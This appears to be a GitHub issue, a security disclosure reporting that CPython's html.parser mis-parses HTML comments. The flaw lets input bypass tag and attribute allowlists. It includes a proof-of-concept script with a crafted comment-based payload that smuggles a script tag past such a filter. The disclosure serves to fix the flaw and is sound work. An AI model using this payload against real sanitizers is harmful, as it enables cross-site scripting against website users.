Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

XSS in html.parser library #102555

Closed
Closed
Assignees
ezio-melotti
Labels
stdlibPython modules in the Lib dirtype-securityA security issue
@Retr02332

Description

@Retr02332

Description

The libraryhtml.parser allows an attacker to bypass any whitelist of HTML tags and attributes that seek to mitigate XSS. This is possible because the application does not correctly parse the HTML comments in the user input.

Vulnerability

This vulnerability occurs because the application does not correctly parse the HTML comments in the user input.

Exploitation

In this scenario a developer parses the HTML entered by the user to validate it with an allowlist of tags and attributes. This is to prevent XSS attacks. In this case we see how we can bypass a security check of this type, thanks to the fact that the parser does not parse the HTML comments properly.

poc.py

fromhtml.parserimportHTMLParserfromhtml.entitiesimportname2codepointclassMyHTMLParser(HTMLParser):defhandle_starttag(self,tag,attrs):print("Start tag:",tag)# Whitelist Tagsprint("Invalid tag:",tag!="h1")forattrinattrs:# Whitelist Attrprint("attr:",attr)print("Invalid attr:",attr!="alt")defhandle_endtag(self,tag):print("End tag  :",tag)defhandle_data(self,data):print("Data     :",data)defhandle_comment(self,data):print("Comment  :",data)defhandle_entityref(self,name):c=chr(name2codepoint[name])print("Named ent:",c)defhandle_charref(self,name):ifname.startswith('x'):c=chr(int(name[1:],16))else:c=chr(int(name))print("Num ent  :",c)defhandle_decl(self,data):print("Decl     :",data)parser=MyHTMLParser()parser.feed('<!--!> <h1 value="--!><script>alert(document.domain)</script>')# HTML is safe, we can proceed

Evidence of exploitation

python-exploit

Expected behavior

safe-python

System Information

  • CPython versions tested on: Python 3.10.8
  • Operating system and architecture: GNU/Linux x86_64

Linked PRs

Metadata

Metadata

Assignees

Labels

stdlibPython modules in the Lib dirtype-securityA security issue

Projects

Status

Done

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions


    [8]ページ先頭

    ©2009-2025 Movatter.jp